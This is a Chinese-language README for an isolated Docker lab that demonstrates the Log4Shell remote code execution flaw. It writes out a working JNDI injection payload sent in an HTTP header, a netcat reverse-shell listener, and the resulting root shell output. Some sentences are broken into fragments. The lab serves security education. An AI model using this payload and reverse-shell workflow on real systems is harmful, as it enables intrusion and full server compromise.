一个自动化、单命令的安全研究实验室,旨在演示和审计 Log4Shell (CVE-2021-44228) 远程代码执行(RCE)漏洞。
本项目使用 Docker Compose 将所有必要组件(易受攻击的应用程序、恶意 LDAP 引用服务器和攻击者工具)整合到一个统一且隔离的网络基础设施中。
.env 文件或进行网络对齐。一切都通过 Docker 的内部 DNS 自动解析。UnsupportedClassVersionError 问题。configurar.sh)控制,该管理器可自动完成容器销毁、缓存清理和重建。该实验室会创建一个隔离的桥接网络(red-log4shell),其中包含三个关键角色:
web-vulnerable): 一个使用未缓解的、存在漏洞的 Log4j(2.14.1)版本并运行在 Java 8u111 上的 Spring Boot Web 应用程序。ldap-malicioso): 由 marshalsec 驱动,用于拦截传入的查找请求,并将受害者动态重定向到攻击者的载荷。kali-tools): 一个自定义 Kali Linux 容器,托管一个 Python HTTP 服务器以传送编译后的漏洞利用载荷(Exploit.class),并运行一个 Netcat 监听器以捕获反向 Shell。要在任何安装了 Docker 的 Linux 机器上部署此实验室,请在终端中执行以下命令:
# 1. Clone the repository
git clone https://github.com/MAFO-sec/mi-laboratorio-log4shell.git
# 2. Navigate to the project directory
cd mi-laboratorio-log4shell
# 3. Grant execution permissions to the script manager and launch the lab
chmod +x configurar.sh
./configurar.sh
🚀 如何利用(分步指南)
通过脚本自动启动并运行基础设施后,请按照以下步骤触发漏洞利用并捕获反向 Shell。
步骤 1:设置 Netcat 监听器
在宿主机(Ubuntu)上打开一个新终端,并附加到攻击者容器中,让 Netcat 进入待命状态以接收连接:
Bash
sudo docker exec -it kali-tools bash
在 Kali 容器内,启动监听器:
Bash
nc -lvnp 4444
您将看到消息:listening on [any] 4444 ...
步骤 2:发起攻击向量
在宿主机上打开另一个独立终端,并发送嵌入在 X-Api-Version 请求头中的恶意 JNDI 注入字符串:
Bash
curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'
步骤 3:验证反向 Shell
回到您的 Netcat 终端。您应该会看到一条活动连接。现在您可以在受害服务器内以 root 身份执行命令:
Bash
connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164 whoami root
本仓库的创建严格用于教育目的、安全研究和经授权的学术审计。未经基础设施所有者的明确事先书面授权,切勿执行这些工具或攻击基础设施。